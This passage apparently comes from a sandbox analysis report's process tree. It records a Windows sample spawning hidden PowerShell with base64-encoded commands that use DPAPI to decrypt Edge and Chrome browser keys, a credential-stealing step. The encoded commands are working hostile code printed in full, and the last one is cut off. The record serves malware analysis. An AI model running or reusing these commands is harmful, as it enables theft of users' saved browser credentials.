JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1636
                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:5368
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBxAGMAUgBQAHcAUABQAEgAYQB2AHMASABsAHcAcgBjAFcAWAA2AHcAKwBpAHkAbQBoAEUAbwBNAHcAWQBSAEgAbgBpAGQAcQBNAEUAQwBJAFQAYwAwAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAG8AWABKAG8AZABiADgAUgBFAEsAYwB5AHIANwBRAGsAbwBCAGkAOQBlAE8AdQBBAGIAZgBVAFQANABhAG0AeABpAE8AWgBtAHMAZgAxAGkAdwA1AEIAUQBBAFEAQQBBAHMAbQB4ACsARABHAHMAQgBuAEEANQBwAEMAdwBwADMASAAzADYAWgB2AHUAWQBDAHUAMwBmAGgAWQArADMAcwBGADYAUwA1AG8ASwB0AHgAVAA2ADUATABVADIAZABQAE0AdQBFAG8AYgBzAHAALwBpAEIAaABVAEEAMAAzAHMAVABqAHcATwB1AEgAVwBKADkAYwAvAG0AaQA0AEkAbQB6AEcAdAAxAEsAUgBnAGsAbgBuAE0AaABUAHUAZQB6AFcAbQBjAEsAZgBCAEEAbQA5AEwATQBrAGwAQQA5AGcAdQBUADcAdQBYAC8AOQBPAGIAdwBWAHoAOQBEAGMAMQBGAG0AVgBSADEANAAzAGwAcgA5AEcANAB6AFQATQBhADUARwA4AHEAVQBtAGUAUwBpAEsARgBmAFEAcwBHAG8AKwBxAGwATQBjAE8AYgAwAFoAUABIADUAQgBJAHMAagArAC8AegBJAHQAVQBPAGQASABXAHYAdQB4AHAAZABhADYAZABxADkAYgBuAGIASgBhAEwAOQBaACsAQwB6ADQAeAA4AGEANwBZADIAMwBVAHMAQQBhAGkASABNAFMAQQB4AFkASQBHADYAYwBiAGwARQB5AGoAcQBmAEMAdABOAEoAKwBiAG8AQQBIAE4AVABRAC8AUgBvAE8ANgBuAGIAUwBQAGsAcgBDAE0AcwA1AE0ASgBkAGEAWQBvADcAcAByAEgAdgB0AEwANgA0AGoAawBhAFgAYQBCADAASgBCAEwAZQB4AEMAagBjAFkAMABhAGUANwBOADIAOAByAG0AdgAvADcAZAB0AHAAaABiAEQAegBnAEgAQwBYAFkATQBHADgAUgBkADQAdgBiAHIANQB4AFQAbABiAEQANQBBAHYAagAzAEkAcwA5AHIAMQBnAFUAKwBkAFcAdwBWAEEARABBAHMASQBTAFoAdgBYAEUAQQB6ADYAVABhAGYAVgAyAEIATgBGACsATAB1AHUAYQBYAGEASABFAFEAZAA4AGUAawAzAGYAQQBJAFYAcABWAHcAawBsAEQANgBWAGEAUwB2ADEANQBQAE4AVwAyAG8AdQBYAG4AdgB3AHMAUQBNAHoAOQB5AFIAUABXAE4AMQBYAHUARAByAFIAQQBWAFMALwBhAGoAeABCAGQAZAAvAFgASABkAEgAWQA1AFAAUQBBAEEAQQBBAEgAQwBjAHUAegBUAEQAeABpAHcAUgBLAGYAeAAzADgASwB0AGEAVQBKAFAAbABOAG4AQgBXADgAcABXAHIAVgB0ADUAMgBnAEsANwBkAFkAUQB2AEMAdABuADYASgB0ACsAZgB1AFkATABuAEEAWQAyAHQALwBJAE0ATgA4AGkAQgBTAEQATABWAFEAbgBUAHkAbAB6AHIAYQBOAHUARQBKAHEAWQBDADYAcwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:5432
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBxAGMAUgBQAHcAUABQAEgAYQB2AHMASABsAHcAcgBjAFcAWAA2AHcAKwBpAHkAbQBoAEUAbwBNAHcAWQBSAEgAbgBpAGQAcQBNAEUAQwBJAFQAYwAwAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAG8AWABKAG8AZABiADgAUgBFAEsAYwB5AHIANwBRAGsAbwBCAGkAOQBlAE8AdQBBAGIAZgBVAFQANABhAG0AeABpAE8AWgBtAHMAZgAxAGkAdwA1AEIAUQBBAFEAQQBBAHMAbQB4ACsARABHAHMAQgBuAEEANQBwAEMAdwBwADMASAAzADYAWgB2AHUAWQBDAHUAMwBmAGgAWQArADMAcwBGADYAUwA1AG8ASwB0AHgAVAA2ADUATABVADIAZABQAE0AdQBFAG8AYgBzAHAALwBpAEIAaABVAEEAMAAzAHMAVABqAHcATwB1AEgAVwBKADkAYwAvAG0AaQA0AEkAbQB6AEcAdAAxAEsAUgBnAGsAbgBuAE0AaABUAHUAZQB6AFcAbQBjAEsAZgBCAEEAbQA5AEwATQBrAGwAQQA5AGcAdQBUADcAdQBYAC8AOQBPAGIAdwBWAHoAOQBEAGMAMQBGAG0AVgBSADEANAAzAGwAcgA5AEcANAB6AFQATQBhADUARwA4AHEAVQBtAGUAUwBpAEsARgBmAFEAcwBHAG8AKwBxAGwATQBjAE8AYgAwAFoAUABIADUAQgBJAHMAagArAC8AegBJAHQAVQBPAGQASABXAHYAdQB4AHAAZABhADYAZABxADkAYgBuAGIASgBhAEwAOQBaACsAQwB6ADQAeAA4AGEANwBZADIAMwBVAHMAQQBhAGkASABNAFMAQQB4AFkASQBHADYAYwBiAGwARQB5AGoAcQBmAEMAdABOAEoAKwBiAG8AQQBIAE4AVABRAC8AUgBvAE8ANgBuAGIAUwBQAGsAcgBDAE0AcwA1AE0ASgBkAGEAWQBvADcAcAByAEgAdgB0AEwANgA0AGoAawBhAFgAYQBCADAASgBCAEwAZQB4AEMAagBjAFkAMABhAGUANwBOADIAOAByAG0AdgAvADcAZAB0AHAAaABiAEQAegBnAEgAQwBYAFkATQBHADgAUgBkADQAdgBiAHIANQB4AFQAbABiAEQANQBBAHYAagAzAEkAcwA5AHIAMQBnAFUAKwBkAFcAdwBWAEEARABBAHMASQBTAFoAdgBYAEUAQQB6ADYAVABhAGYAVgAyAEIATgBGACsATAB1AHUAYQBYAGEASABFAFEAZAA4AGUAawAzAGYAQQBJAFYAcABWAHcAawBsAEQANgBWAGEAUwB2ADEANQBQAE4AVwAyAG8AdQBYAG4AdgB3AHMAUQBNAHoAOQB5AFIAUABXAE4AMQBYAHUARAByAFIAQQBWAFMALwBhAGoAeABCAGQAZAAvAFgASABkAEgAWQA1AFAAUQBBAEEAQQBBAEgAQwBjAHUAegBUAEQAeABpAHcAUgBLAGYAeAAzADgASwB0AGEAVQBKAFAAbABOAG4AQgBXADgAcABXAHIAVgB0ADUAMgBnAEsANwBkAFkAUQB2AEMAdABuADYASgB0ACsAZgB1AFkATABuAEEAWQAyAHQALwBJAE0ATgA4AGkAQgBTAEQATABWAFEAbgBUAHkAbAB6AHIAYQBOAHUARQBKAHEAWQBDADYAcwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:6240
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:6268
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:4740
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQ